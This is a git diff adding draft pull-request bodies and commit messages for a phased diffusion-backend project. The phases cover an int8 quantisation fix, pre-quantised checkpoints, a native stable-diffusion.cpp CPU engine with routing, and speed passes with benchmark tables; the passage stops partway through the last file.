@@ -0,0 +1,51 @@
+### Summary
+
+Fixes the opt-in dense **int8** transformer quant path, which crashed on FLUX.1 and Qwen-Image with:
+
+```
+RuntimeError: torch._int_mm: self.size(0) needs to be greater than 16, but got 1
+```
+
+Found while benchmarking the dense quant path across all supported models: fp8 worked everywhere, but int8 failed on every Flux.1 and Qwen variant (worked on Z-Image and FLUX.2-klein-4B).
+
+### Root cause
+
+int8 dynamic quant runs through `torch._int_mm`, which requires the activation row count **M > 16**. A DiT's AdaLN **modulation** projections and its **conditioning embedders** are computed once from the `[batch, dim]` conditioning vector (M = batch = 1), not per token, so they hit `_int_mm` at M=1 and crash. Examples (in -> out):
+
+- FLUX.1: `transformer_blocks.*.norm1.linear` 3072 -> 18432, `norm1_context.linear`, `norm_out.linear`, `time_text_embed.*`
+- Qwen-Image: `transformer_blocks.*.img_mod.1` / `txt_mod.1` 3072 -> 18432, `time_text_embed.timestep_embedder.*`
+- FLUX.2-klein: `double_stream_modulation_*.linear`, `single_stream_modulation.linear`
+
+These have large feature dims, so the existing `min_features` filter did not exclude them. (Z-Image / klein-4B happened not to hit an M=1 int8 matmul, which is why they worked.)
+
+### Fix
+
+The int8 filter now additionally skips any `nn.Linear` whose fully-qualified name matches a modulation / conditioning-embedder token: `norm`, `_mod`, `modulation`, `timestep_embed`, `guidance_embed`, `time_text_embed`, `pooled`. These run at M=1 once per block and are a negligible share of the FLOPs, so int8 keeps the full speedup on the attention / FFN layers (M = sequence length).
+
+- The exclusion is **int8-only**: fp8 / nvfp4 / mxfp8 use `scaled_mm`, which has no M>16 limit and quantises these layers fine.
+- Sequence embedders (`context_embedder` / `x_embedder` / `txt_in`, M = seq) are deliberately **not** excluded. Note `context_embedder` contains the substring `text_embed`, which is why the token is the specific `time_text_embed`, not `text_embed`.
+
+### Measured (B200, 1024px, transformer_quant=int8 + speed=default)
+
+int8 now runs on every supported model and is the **fastest** dense path on Flux/Qwen (int8 runs full-rate vs fp8's FP32-accumulate):
+
+| model | eager GGUF | int8 (this PR) | speedup | fp8 (for ref) |
+| --- | --- | --- | --- | --- |
+| FLUX.1-dev (28 step) | 9.62s | 1.98s | 4.86x | 2.15s |
+| Qwen-Image (20 step) | 10.39s | 1.87s | 5.57x | 2.09s |
+| Qwen-Image-2512 | 10.20s | 1.84s | 5.55x | 2.09s |
+| FLUX.1-schnell (4 step) | 1.46s | 0.41s | 3.59x | 0.44s |
+
+Z-Image and FLUX.2-klein-4B (already working) are unchanged.
+
+### Changes
+
+- `diffusion_transformer_quant.py`: add `_INT8_EXCLUDE_NAME_TOKENS`; `make_filter_fn` takes `exclude_name_tokens`; `quantize_transformer` passes it for int8 only.
+- Hermetic test that the int8 filter excludes the modulation / embedder linears and keeps the attention / FFN / sequence-embedder linears (fp8 keeps them).
+- `scripts/int8_linear_probe.py`: the meta-device probe used to enumerate each transformer's Linear layers and derive the exclusion list.
+
+### Testing
+
+`python -m pytest tests/ -q -k diffusion` -> 231 passed. The GPU numbers above are from `scripts/diffusion_bench.py --transformer-quant int8`.
+
+Stacked on #6703 (Phase 12). Base branch `diffusion-phase12-fbcache`.
diff --git a/temp/phase15_pr_body.md b/temp/phase15_pr_body.md
new file mode 100644
index 0000000000..d961ca7384
--- /dev/null
+++ b/temp/phase15_pr_body.md
@@ -0,0 +1,31 @@
+### Summary
+
+Lets the pre-quantized-checkpoint builder produce a **working int8** checkpoint, not just fp8.
+
+The fast transformer_quant path can either quantise the dense bf16 transformer on the GPU at load (~2x the GGUF load VRAM, full bf16 download) or load a checkpoint that was quantised once ahead of time (`scripts/build_prequant_checkpoint.py` -> `diffusion_prequant.py`), which drops the transformer GPU load peak and download ~2x. That builder already accepted `--scheme int8`, but it applied the dense quant filter **without** the int8-only M=1 exclusion the runtime path got in #6716, so a built int8 checkpoint baked the AdaLN-modulation / conditioning-embedder projections as int8 and crashed at the first denoise step on Flux / Qwen:
+
+```
+RuntimeError: torch._int_mm: self.size(0) needs to be greater than 16, but got 1
+```
+
+### Root cause
+
+int8 dynamic quant runs through `torch._int_mm`, which requires activation rows M > 16. A DiT's modulation / timestep / guidance / pooled-text projections run once from the `[batch, dim]` conditioning vector (M = batch = 1). The runtime path (#6716) excludes them from the int8 filter; the offline builder did not, so an int8 checkpoint diverged from the runtime model (and crashed where the runtime path is correct). fp8 / nvfp4 / mxfp8 use `scaled_mm` (no M limit), which is why fp8 prequant already worked.
+
+### Fix
+
+Factor the scheme -> exclusion decision into one shared `exclude_tokens_for_scheme(scheme)` in `diffusion_transformer_quant.py`, used by **both** the runtime quantise path and the offline builder, so the two can never drift -- an int8 checkpoint built ahead of time now skips exactly the layers the runtime path skips (the module's "offline == runtime, LPIPS-0" invariant). `build_prequant_checkpoint.py` applies it; for fp8 / fp4 / mx the helper returns `()`, so nothing changes for them.
+
+Result: int8 prequant produces a working checkpoint on every supported model, giving **int8** -- the consumer-preferred scheme (consumer cards halve fp8 FP32-accumulate throughput; int8 runs full-rate) -- the same ~2x load-VRAM and download reduction fp8 already had. This directly lowers the peak memory to *load* the fast path on the hardware that needs it most.
+
+### Changes
+
+- `diffusion_transformer_quant.py`: add `exclude_tokens_for_scheme()`; `quantize_transformer` now calls it (behaviour-identical refactor of the inline int8 check).
+- `scripts/build_prequant_checkpoint.py`: pass `exclude_name_tokens = exclude_tokens_for_scheme(scheme)` into the filter.
+- Hermetic test that the shared helper returns the modulation/embedder tokens for int8 and `()` for fp8 / nvfp4 / mxfp8.
+
+### Testing
+
+`python -m pytest tests/test_diffusion_transformer_quant.py tests/test_diffusion_prequant.py -q` -> 43 passed. The runtime int8 path is unchanged (same tokens, now via the shared helper).
+
+Stacked on #6716 (Phase 14). Base branch `diffusion-phase14-int8-modulation`.
diff --git a/temp/phase16_pr_body.md b/temp/phase16_pr_body.md
new file mode 100644
index 0000000000..76cee1e113
--- /dev/null
+++ b/temp/phase16_pr_body.md
@@ -0,0 +1,88 @@
+## Summary
+
+Wires the native stable-diffusion.cpp engine into the **live** diffusion route so that when no usable
+CUDA / ROCm / XPU GPU is present (CPU, and Apple MPS when explicitly enabled), generation runs on the
+native `sd-cli` engine instead of diffusers, with diffusers as the guaranteed fallback. Stacked on the
+Phase 15 pre-quant pass (#6717).
+
+The native engine has shipped since Phase 4 (#6679) but was never reachable from the route, which always
+drove the diffusers `DiffusionBackend`. So a CPU / Mac user got the slow, RAM-heavy diffusers path even
+though the faster engine was already in the tree. Measured on this box (192-core CPU, same Q4_K_M
+transformer GGUF), the native engine is the right CPU engine:
+
+| model (CPU, 512px) | diffusers | sd.cpp | sd.cpp speed | sd.cpp RAM |
+| --- | ---: | ---: | ---: | ---: |
+| FLUX.1-schnell | 98.5s | 60.3s | **1.6x** | **1.6x less** |
+| Z-Image-Turbo | 99.1s | 71.9s | **1.4x** | **1.5x less** |
+| Qwen-Image | 243.8s | 88.4s | **2.8x** | **2.2x less** |
+
+(FLUX.1 CPU vs ComfyUI: sd.cpp 60.3s / 18.9 GB beats ComfyUI 102.4s / 71.2 GB too.) The decision
+function `select_diffusion_engine` already existed and was unit-tested; this PR is the routing and
+lifecycle integration around it, not a rewrite. The diffusers path stays the default and only path on
+CUDA / ROCm / XPU, and the universal fallback.
+
+## What it does
+
+- **`diffusion_engine_router.py` (new).** Centralised engine selection at load time, remembered for the
+ rest of the load so generate / unload / status / progress all act on the same engine. Built on
+ `select_diffusion_engine(backend, ...)`; the device backend comes from
+ `resolve_diffusion_device_target().backend`. Records why a fallback to diffusers happened and exposes it
+ in status. Env knobs (one canonical interpretation each):
+ - `UNSLOTH_DIFFUSION_ENGINE=auto|diffusers|sd_cpp` force an engine
+ - `UNSLOTH_DIFFUSION_SD_CPP=auto|0|1` enable / disable the native route
+ - `UNSLOTH_DIFFUSION_SD_CPP_MPS=0|1` allow native on Apple MPS (default off)
+ - `UNSLOTH_DIFFUSION_SD_CPP_INSTALL=auto|0|1` allow lazy binary install
+
+- **`sd_cpp_backend.py` (new) `SdCppDiffusionBackend`.** Mirrors the public surface the route uses on the
+ diffusers backend (`begin_load` / `load_progress` / `generate` / `generate_progress` / `unload` /
+ `status`), backed by `SdCppEngine`. It lazily installs the `sd-cli` binary on first use, fetches the
+ per-family single-file assets, runs the load on a daemon thread with a download-progress phase, parses
+ sd-cli step lines for per-step progress, and supports cancellation. Import-light: no torch / diffusers,
+ so selecting it on a CPU box does not pull the GPU stack.
+
+- **`diffusion_families.py`.** Each family gains its native single-file asset mapping (`sd_cpp_vae`,
+ `sd_cpp_text_encoders`, `sd_cpp_vae_format`) using the same hashable-tuple pattern as `prequant_repos`.
+ The transformer GGUF is reused from the diffusers download path; only the single-file VAE + text
+ encoders are new fetches (the diffusers base repo ships those sharded, which sd-cli cannot read). Z-Image
+ and FLUX.2-klein use Qwen3-4B, FLUX.1 uses CLIP-L + T5, Qwen-Image uses Qwen2.5-VL; FLUX.2 uses the
+ `flux2` VAE latent format.
+
+- **`sd_cpp_engine.py`.** Adds cancellation to `generate` / `upscale`: an optional `cancel_event` polled
+ while the child runs, plus a process-group kill (`SdCppCancelled`) so a superseding load / unload /
+ arbiter eviction can hard-stop the subprocess and its children. User cancellation does not trigger a
+ diffusers fallback.
+
+- **`routes/inference.py` + `gpu_arbiter.py`.** The load handler resolves the device, selects + activates
+ the engine before evicting chat (so a fallback never strands a half-native load), and the other handlers
+ and the arbiter evictor act on the active engine via the router. The status response gains `engine` and
+ `fallback_reason`.
+
+## Selection and fallback
+
+Selection is deterministic and happens before the slow load. Diffusers is chosen (with a recorded reason)
+whenever the native route is disabled, the device has a usable GPU, MPS is not enabled, the family has no
+native asset mapping, or the `sd-cli` binary is unavailable. Scope is text-to-image (the route's only
+mode); image-to-image / edit / LoRA are not exposed there.
+
+## Testing
+
+- `test_sd_cpp_backend.py` (new): asset resolution per family, guidance mapping, status shape, generate
+ returns images with per-image seeds, `--vae-format` for FLUX.2, cancellation surfaces as cancelled (not
+ a crash), progress parsing, load validation, lazy-install gating, unload semantics.
+- `test_diffusion_engine_router.py` (new): the full selection matrix (cpu -> sd_cpp, gpu -> diffusers,
+ opt-out -> diffusers, MPS default vs opt-in, unsupported family, missing binary, forced sd_cpp), and the
+ status annotation.
+- `test_diffusion_routes.py`: a route-level test asserting a CPU host with an available binary reports
+ `engine=sd_cpp`; the existing fixture now drives the router transparently.
+- `test_sd_cpp_engine.py`: the two no-binary tests are now hermetic (forced no-binary) so they pass
+ regardless of a locally installed `sd-cli`.
+
+All 313 diffusion / sd.cpp tests pass. Verified end-to-end on CPU (CUDA hidden): the router selected the
+native engine, fetched the registry assets, and `sd-cli` produced an image, with `status.engine == sd_cpp`.
+
+## Notes
+
+- Everything is additive and opt-out-able: on a CUDA box this is a no-op (diffusers as before).
+- The single-file asset repos are pinned to public, verified sources (Comfy-Org / black-forest-labs /
+ comfyanonymous / unsloth GGUF). sd-cli flag construction stays isolated in `sd_cpp_args.py` (already
+ test-covered), since upstream notes its CLI flags can change.
diff --git a/temp/phase4_commit_msg.txt b/temp/phase4_commit_msg.txt
new file mode 100644
index 0000000000..e85f379032
--- /dev/null
+++ b/temp/phase4_commit_msg.txt
@@ -0,0 +1,34 @@
+Studio diffusion (Phase 4): native stable-diffusion.cpp engine for CPU/Mac
+
+Adds the CPU / Apple-Silicon tier of the two-engine strategy, mirroring the
+chat backend's llama.cpp shell-out. Diffusers stays the default on CUDA / ROCm
+/ XPU; this covers the hardware diffusers serves poorly, consuming the same
+split GGUF assets Studio already curates.
+
+- sd_cpp_args.py: pure sd-cli command builder. Maps the family to its
+ text-encoder flag (Z-Image Qwen3 to --llm, Qwen-Image to --qwen2vl, FLUX.1
+ CLIP-L + T5), and the diffusers memory policy (none/group/model/sequential)
+ to sd.cpp's offload flags (--offload-to-cpu / --clip-on-cpu / --vae-on-cpu /
+ --vae-tiling / --diffusion-fa), so one user knob drives both engines.
+- sd_cpp_engine.py: SdCppEngine over a located sd-cli. find_sd_cpp_binary()
+ with the same precedence as the llama finder (env override, then the Studio
+ install root, then in-tree, then PATH), an is_available/version probe, and a
+ one-shot subprocess generate that streams progress and returns the PNG.
+ runtime_env() prepends the binary's directory to the platform library path
+ so a prebuilt's bundled libstable-diffusion.so resolves.
+ select_diffusion_engine() is the pure routing decision (GPU backends to
+ diffusers, CPU/MPS to native when present).
+- install_sd_cpp_prebuilt.py: resolve + download the per-host prebuilt
+ (macOS-arm64/Metal, Linux x86_64 CPU, Vulkan/ROCm/Windows variants) into the
+ Studio install root. resolve_release_asset() is a pure, unit-tested
+ host-to-asset matrix.
+- scripts/sd_cpp_smoke.py: end-to-end native generation harness.
+
+Tests (CPU-only, subprocess/filesystem stubbed): 49 new across args, engine,
+routing, runtime env, and the installer resolver. Full diffusion suite 166
+passing.
+
+Verified on a B200 box: built sd-cli (CUDA) and the prebuilt (CPU) both
+generate Z-Image-Turbo Q4_K end to end through SdCppEngine: balanced (group
+offload, 5.0s gen), low_vram (full CPU offload + VAE tiling, 13.4s), and the
+dynamically-linked CPU prebuilt (50.4s on CPU), all producing coherent images.
diff --git a/temp/phase4_pr_body.md b/temp/phase4_pr_body.md
new file mode 100644
index 0000000000..b951f15940
--- /dev/null
+++ b/temp/phase4_pr_body.md
@@ -0,0 +1,40 @@
+## Summary
+
+Phase 4 of porting the richer diffusion stack onto the image-generation backend, building on #6675 (Phase 2: memory / speed / precision) and #6670 (Phase 1: device policy). This adds the **native stable-diffusion.cpp engine**, the CPU and Apple-Silicon tier of a two-engine strategy that mirrors the chat backend's llama.cpp shell-out.
+
+Diffusers stays the default and only path on CUDA / ROCm / XPU. This engine exists for the hardware diffusers serves poorly (CPU, Apple MPS, and very low VRAM budgets), and it consumes the same split GGUF assets Studio already curates for the diffusers path, so a model loaded for one engine needs no re-download for the other.
+
+Everything is additive: new modules plus a standalone installer and smoke script. Nothing in the existing diffusers path changes, so this is a no-op until the native engine is selected. Stacked on #6675; I will rebase onto main and retarget the base once the lower phases land.
+
+## What it does
+
+- Pure sd-cli command builder (`sd_cpp_args.py`). Maps each family to its text-encoder flag (Z-Image's Qwen3 to `--llm`, Qwen-Image's Qwen2-VL to `--qwen2vl`, FLUX.1's CLIP-L + T5 to `--clip_l` / `--t5xxl`) and the diffusers memory policy (`none` / `group` / `model` / `sequential`) to sd.cpp's own offload flags (`--offload-to-cpu`, `--clip-on-cpu`, `--vae-on-cpu`, `--vae-tiling`, `--diffusion-fa`). One user-facing memory knob drives both engines identically.
+- The engine (`sd_cpp_engine.py`). `SdCppEngine` over a located `sd-cli`: a `find_sd_cpp_binary()` with the same precedence as the llama finder (env override, then the Studio install root, then an in-tree build, then PATH), an `is_available` / `version` probe, and a one-shot subprocess `generate` that streams progress and returns the written PNG. `runtime_env()` prepends the binary's own directory to the platform library path (`LD_LIBRARY_PATH` / `DYLD_LIBRARY_PATH` / `PATH`) so a prebuilt's bundled `libstable-diffusion.so` resolves. `select_diffusion_engine()` is the pure routing decision: GPU backends stay on diffusers, CPU / MPS take the native engine when its binary is present, and a `prefer_native` override can force it anywhere.
+- Prebuilt installer (`install_sd_cpp_prebuilt.py`). Resolves and downloads the per-host stable-diffusion.cpp release zip (macOS-arm64 / Metal, Linux x86_64 CPU, plus Vulkan / ROCm / Windows variants) into the Studio install root, where the finder picks it up. `resolve_release_asset()` is a pure, unit-tested host-to-asset matrix, so Apple Silicon and CPU users get a working binary with nothing to compile.
+- Smoke harness (`scripts/sd_cpp_smoke.py`). Drives the real engine over a built or installed `sd-cli` and a set of split GGUF assets, the native analogue of `scripts/diffusion_bench.py`.
+
+## Verification (single B200 box)
+
+Built `sd-cli` from source (CUDA) and installed the prebuilt (CPU), then generated Z-Image-Turbo Q4_K end to end through `SdCppEngine`, all producing coherent images:
+
+| binary | memory mode | offload flags | generation |
+| --- | --- | --- | --- |
+| source (CUDA) | `balanced` | `--offload-to-cpu --diffusion-fa` | 5.0 s |
+| source (CUDA) | `low_vram` | `--offload-to-cpu --clip-on-cpu --vae-on-cpu --vae-tiling --diffusion-fa` | 13.4 s |
+| prebuilt (CPU) | `low_vram` | (same) | 50.4 s on CPU |
+
+The CPU prebuilt run exercises the dynamically-linked path and confirms `runtime_env()` lets the bundled shared library load. The installer was verified live: `resolve_release_asset` selects the correct asset for Linux (CPU / Vulkan / ROCm), macOS-arm64, and Windows (avx2 / cuda12 / vulkan) against a real release, and a real download + extract produced a runnable `sd-cli`.
+
+## Tests
+
+CPU only, with subprocess and the filesystem stubbed, run from `studio/backend`:
+
+```
+python -m pytest tests/test_sd_cpp_args.py tests/test_sd_cpp_engine.py tests/test_sd_cpp_install.py
+```
+
+49 new tests covering the command builder, the offload and family mappings, the binary finder precedence, the version probe, `generate` (success, nonzero exit, missing output, missing binary), `runtime_env`, the engine routing matrix, and the installer's host-to-asset resolver. The full diffusion suite is 166 passing.
+
+## Out of scope (later)
+
+Wiring the route / backend to dispatch to the native engine (asset resolution for the split VAE / text-encoder files, status reporting which engine is active) and the image-to-image / editing / LoRA / upscale / video feature surface. This PR lands the engine, installer, and routing decision as a self-contained, tested unit.
diff --git a/temp/phase6_commit_msg.txt b/temp/phase6_commit_msg.txt
new file mode 100644
index 0000000000..50fd323aa2
--- /dev/null
+++ b/temp/phase6_commit_msg.txt
@@ -0,0 +1,27 @@
+Studio diffusion (Phase 6): img2img / inpaint / edit / LoRA / upscale on the native engine
+
+Builds on Phase 4's native stable-diffusion.cpp engine, extending it from
+text-to-image to the wider feature surface, since sd.cpp supports all of these
+through the binary already. Pure command-builder additions plus one engine
+method, so the txt2img path is unchanged.
+
+- sd_cpp_args.py: SdCppGenParams gains image-conditioning fields. init_img +
+ strength make a run img2img, adding mask makes it inpaint, ref_images drives
+ FLUX-Kontext / Qwen-Image-Edit style editing (repeated --ref-image), and
+ lora_dir + the prompt syntax select LoRAs. New
+ SdCppUpscaleParams + build_sd_cpp_upscale_command for the ESRGAN upscale run
+ mode (input image + esrgan model, no prompt / text encoders).
+- sd_cpp_engine.py: the subprocess runner is factored into a shared _run() so
+ generate() (now carrying the conditioning flags) and a new upscale() reuse
+ the same streaming / error / output-check path.
+- scripts/sd_cpp_smoke.py: --task {txt2img,img2img,upscale} with --init-img /
+ --strength / --upscale-model / --upscale-repeats.
+
+Tests: 10 new across the img2img / inpaint / edit / LoRA flag construction, the
+upscale builder and its validation, and the engine's img2img + upscale paths.
+Full diffusion suite 176 passing.
+
+Verified on a B200 box through SdCppEngine: img2img (Z-Image-Turbo Q4_K, the
+init image conditioned at strength 0.6, 4.8s) and ESRGAN upscale
+(512x512 -> 2048x2048 via RealESRGAN_x4plus_anime_6B, 2.7s), both producing
+coherent images. Video and the diffusers-path feature wiring are deferred.
diff --git a/temp/phase6_pr_body.md b/temp/phase6_pr_body.md
new file mode 100644
index 0000000000..af84ede53b
--- /dev/null
+++ b/temp/phase6_pr_body.md
@@ -0,0 +1,35 @@
+## Summary
+
+Phase 6 extends Phase 4's native stable-diffusion.cpp engine (#6679) from text-to-image to the wider feature surface: image-to-image, inpaint, edit, LoRA, and ESRGAN upscale. stable-diffusion.cpp already supports all of these through the binary, so this is pure command-builder additions plus one new engine method. The text-to-image path is byte-for-byte unchanged (the new fields all default to off).
+
+Stacked on #6679; I will retarget the base as the lower phases land.
+
+## What it does
+
+- Image conditioning (`sd_cpp_args.py`). `SdCppGenParams` gains `init_img` + `strength` (img2img), `mask` (inpaint), `ref_images` (FLUX-Kontext / Qwen-Image-Edit editing, emitted as repeated `--ref-image`), and `lora_dir` + `lora_apply_mode`. Individual LoRAs are selected with sd.cpp's own `` tags inside the prompt, so no prompt rewriting is needed.
+- Upscale mode. A new `SdCppUpscaleParams` + `build_sd_cpp_upscale_command` drive sd-cli's ESRGAN run mode (input image + ESRGAN model, no prompt or text encoders).
+- Engine (`sd_cpp_engine.py`). The subprocess runner is factored into a shared `_run()` so `generate()` (now carrying the conditioning flags) and the new `upscale()` reuse the same streaming / error / output-check path.
+- Smoke harness. `scripts/sd_cpp_smoke.py` gains `--task {txt2img,img2img,upscale}` with `--init-img` / `--strength` / `--upscale-model` / `--upscale-repeats`.
+
+## Verification (single B200 box, through SdCppEngine)
+
+| task | detail | time |
+| --- | --- | --- |
+| img2img | Z-Image-Turbo Q4_K, init image at strength 0.6, prompt re-themed to autumn | 4.8 s |
+| upscale | RealESRGAN_x4plus_anime_6B, 512x512 to 2048x2048 (4x) | 2.7 s |
+
+Both produce coherent images: the img2img run preserves the source structure while applying the new prompt, and the upscale run quadruples each dimension. inpaint / edit / LoRA are verified at the command-construction level (the real-model runs need specific edit checkpoints / LoRA files).
+
+## Tests
+
+CPU only, subprocess and filesystem stubbed, from `studio/backend`:
+
+```
+python -m pytest tests/test_sd_cpp_args.py tests/test_sd_cpp_engine.py
+```
+
+10 new tests across the img2img / inpaint / edit / LoRA flag construction, the upscale builder and its validation, and the engine's img2img + upscale paths. Full diffusion suite 176 passing.
+
+## Out of scope (later)
+
+Video (`vid_gen`, Wan / LTX), and wiring these tasks through the route / backend and the diffusers path. This PR lands them on the native engine as a self-contained, tested unit.
diff --git a/temp/phase7_commit_msg.txt b/temp/phase7_commit_msg.txt
new file mode 100644
index 0000000000..823ef2e33a
--- /dev/null
+++ b/temp/phase7_commit_msg.txt
@@ -0,0 +1,59 @@
+Studio diffusion (Phase 7): accuracy-preserving speed pass
+
+Re-review of the diffusion stack (#6675/#6679/#6680) surfaced one real accuracy
+bug and a dead-on-arrival speed path; this fixes both and adds the lossless /
+near-lossless wins, all measured on a B200.
+
+Correctness:
+- TF32 global-state leak (fix). speed_mode=max flipped torch.backends.*.allow_tf32
+ process-wide and never restored them, so a later `off` load silently inherited
+ TF32 and was no longer bit-identical. Added snapshot_backend_flags /
+ restore_backend_flags (TF32 + cudnn.benchmark), captured before the speed layer
+ runs and restored on unload. Verified: load max -> unload -> load off is now
+ byte-identical (PSNR inf) to a fresh off.
+- sd-cli timeout could hang forever. _run() blocked in `for line in stdout` and
+ only checked the timeout after EOF, so a child stuck in model load / GPU init
+ with no output ignored the timeout. Drained stdout on a reader thread with a
+ wall-clock deadline. Added a silent-hang regression test.
+
+Speed (diffusers path), near-lossless, opt-in tiers:
+- Regional torch.compile now runs on the GGUF transformer. The is_gguf gate (and
+ Z-Image's supports_torch_compile=False) were stale: compile_repeated_blocks
+ compiles and runs ~2.2x faster on the GGUF Z-Image transformer on
+ torch 2.9.1 / diffusers 0.38 (the per-op dequant stays eager, the rest of the
+ block compiles). Measured: off 1.80s -> default 0.82s/gen (+54.7%), PSNR 37.7 dB
+ vs eager -- far above the Q4 quant noise floor (~21 dB), so it does not move
+ output quality. Gate relaxed; default tier delivers it.
+- cudnn.benchmark added to the default tier (autotunes the fixed-shape VAE convs).
+- torch.inference_mode() around the pipeline call (lossless, strictly faster than
+ the no_grad diffusers uses internally).
+
+Memory path:
+- VAE tiling (not bit-identical >1MP) restricted to the model/sequential/CPU tiers;
+ the balanced (group) tier keeps exact slicing only, so it is now bit-identical to
+ the resident image (verified PSNR inf) and slightly faster.
+- Group offload adds non_blocking + record_stream on the CUDA stream path to
+ overlap each block's H2D copy with compute (lossless; gated on the installed
+ diffusers signature so older versions still work).
+
+Native (sd.cpp) path:
+- native_speed_flags: a first-class speed knob (default -> --diffusion-fa, a
+ near-lossless CUDA win that was previously only added on offload tiers; max also
+ -> --diffusion-conv-direct). conv-direct stays opt-in: measured +45% on CUDA, so
+ it is never auto-on. Engine generate() merges it, de-duped against offload flags.
+
+Default profile: a GGUF model with no explicit speed_mode now resolves to the
+`default` profile (resolve_speed_mode), since compile's perturbation sits below the
+quantisation noise floor and so does not reduce quality versus the dense reference;
+out of the box a GGUF Z-Image generation drops from 1.80s to 0.81s. Dense models
+stay `off` / bit-identical, and an explicit speed_mode -- including "off" -- is
+always honored, so the byte-identical path remains one flag away and is the
+regression reference.
+
+Tooling: scripts/compile_probe.py (eager vs compiled GGUF probe), scripts/
+perf_verify.py (the B200 verification above), and diffusion_bench.py gains
+--speed-mode so the speed tiers are benchmarkable.
+
+Tests: 183 passing (was 166); new coverage for the backend-flag snapshot/restore,
+GGUF compile eligibility, the balanced tiling/slicing split, native_speed_flags +
+the engine de-dup, and the sd-cli silent-hang timeout.
diff --git a/temp/phase7_pr_body.md b/temp/phase7_pr_body.md
new file mode 100644
index 0000000000..85a48d9b9b
--- /dev/null
+++ b/temp/phase7_pr_body.md
@@ -0,0 +1,41 @@
+## Summary
+
+A re-review of the diffusion stack (#6675 / #6679 / #6680) focused on performance, then a speed pass that preserves accuracy. The review surfaced one real accuracy bug and one dead-on-arrival speed path; this fixes both and adds the lossless / near-lossless wins, all measured on a B200. Stacked on #6680.
+
+The headline: regional `torch.compile` was gated off for the GGUF transformer, and since the backend is GGUF-only that made it dead on every shipping model. It actually compiles and runs **2.2x faster** now, at a quality delta far below the quantisation noise floor, so it is safe to use.
+
+## Correctness fixes
+
+- **TF32 global-state leak.** `speed_mode=max` flipped `torch.backends.*.allow_tf32` process-wide and never restored them, so a later `off` load silently inherited TF32 and was no longer bit-identical. Added `snapshot_backend_flags` / `restore_backend_flags` (TF32 + cudnn.benchmark), captured before the speed layer runs and restored on unload. Verified: load `max` then `off` is now byte-identical (PSNR inf) to a fresh `off`.
+- **sd-cli could hang past its timeout.** `_run()` blocked in `for line in stdout` and only checked the timeout after EOF, so a child stuck in model load / GPU init with no output ignored the timeout. Drained stdout on a reader thread with a wall-clock deadline; added a silent-hang regression test.
+
+## Speed: diffusers path (near-lossless)
+
+- **Regional `torch.compile` on the GGUF transformer.** The `is_gguf` gate (and Z-Image's `supports_torch_compile=False`) were stale: `compile_repeated_blocks` compiles and runs ~2.2x faster on torch 2.9.1 / diffusers 0.38 (the per-op dequant stays eager, the rest of the block compiles). Gate relaxed.
+- **cudnn.benchmark** added to the `default` tier (autotunes the fixed-shape VAE convs).
+- **`torch.inference_mode()`** around the pipeline call (strictly faster than the internal `no_grad`, numerically identical).
+- **Default profile.** A GGUF model with no explicit `speed_mode` now resolves to `default` (`resolve_speed_mode`), since compile's perturbation sits below the quant noise floor and so does not reduce quality versus the dense reference. Dense models stay `off` / bit-identical, and an explicit value (including `"off"`) is always honored, so the byte-identical path is one flag away and remains the regression reference.
+
+## Memory path
+
+- **VAE tiling** (not bit-identical above 1MP) is now restricted to the `model` / `sequential` / CPU tiers. The `balanced` (group) tier keeps exact slicing only, so it is now **bit-identical** to the resident image (verified PSNR inf) and slightly faster.
+- **Group offload** adds `non_blocking` + `record_stream` on the CUDA stream path to overlap each block's H2D copy with compute (lossless; gated on the installed diffusers signature so older versions still work).
+
+## Native (sd.cpp) path
+
+- **`native_speed_flags`**: a first-class speed knob. `default` adds `--diffusion-fa` (a near-lossless CUDA win that was previously only added on offload tiers); `max` also adds `--diffusion-conv-direct`. conv-direct stays opt-in because it measured **+45% on CUDA** here, so it is never auto-on. The engine `generate()` merges it, de-duped against the offload flags.
+
+## Measured (single B200, Z-Image-Turbo Q4_K_M, 1024x1024, 8 steps)
+
+| config | median/gen | vs off | accuracy |
+| --- | --- | --- | --- |
+| `off` (bit-identical reference) | 1.80 s | reference | reference |
+| `default` (auto for GGUF) | **0.82 s** | **+54.7%** | PSNR 37.7 dB vs eager (Q4-vs-bf16 is ~21 dB, so below the noise floor) |
+| `balanced` (group offload) | 2.19 s | n/a | PSNR inf (bit-identical, tiling now off) |
+| `off` after a `max` load | 1.83 s | n/a | PSNR inf vs fresh `off` (TF32 leak fixed) |
+
+`scripts/perf_verify.py` reproduces all of the above end to end through the real backend; `scripts/compile_probe.py` is the eager-vs-compiled GGUF probe.
+
+## Tests
+
+184 passing (was 166). New coverage: the backend-flag snapshot/restore, GGUF compile eligibility + the `resolve_speed_mode` GGUF auto-default, the `balanced` tiling/slicing split + group `non_blocking`/`record_stream`, `native_speed_flags` + the engine de-dup, and the sd-cli silent-hang timeout. `scripts/diffusion_bench.py` gains `--speed-mode` so the tiers are benchmarkable.
diff --git a/temp/phase8_pr_body.md b/temp/phase8_pr_body.md
new file mode 100644
index 0000000000..312ae185b6
--- /dev/null
+++ b/temp/phase8_pr_body.md
@@ -0,0 +1,59 @@
+## Summary
+
+An opt-in **fast transformer** mode for the Studio diffusion backend: load the dense bf16 transformer and torchao-quantise it onto the low-precision tensor cores, instead of the GGUF transformer. Stacked on the Phase 7 perf pass (#6690).
+
+The motivation, measured on a B200 (Z-Image-Turbo, 1024px / 8 steps, LPIPS vs the dense bf16 reference): GGUF stores the transformer 4-bit but **dequantises to bf16 on every matmul**, so it runs at bf16 tensor-core rate and never touches the int8 / fp8 / fp4 cores. It is a memory win that costs speed. Loading the dense bf16 transformer and quantising it dynamically with torchao runs the matmul on the actual low-precision cores:
+
+| config | sec | vs GGUF+compile | LPIPS vs bf16 |
+| --- | --- | --- | --- |
+| GGUF + compile (today's default) | 0.802 | 1.00x | 0.083 |
+| dense bf16 + compile (no quant) | 0.671 | 1.20x | 0.004 |
+| int8 dynamic + compile | 0.603 | **1.33x** | 0.069 |
+| fp8 dynamic + compile | 0.585 | **1.37x** | 0.058 |
+
+Every working scheme beats GGUF on **both** speed and quality (LPIPS lands *below* GGUF's own 4-bit floor of 0.083). The only cost is memory: the dense bf16 transformer must be loaded (~2x the 4-bit GGUF), so the mode is strictly opt-in and gated on resident VRAM headroom. GGUF + compile stays the low-memory default and the fallback.
+
+## What it does
+
+New flag `transformer_quant` on the load request (`auto | int8 | fp8 | nvfp4 | mxfp8`, default off). When set and the device qualifies (CUDA + bf16 + the dense weights fit resident), the loader:
+
+1. loads the **dense bf16 transformer** from the family `base_repo` (`from_pretrained(subfolder="transformer")`) instead of the GGUF,
+2. places it on the device and torchao-quantises the FLOP-heavy linears,
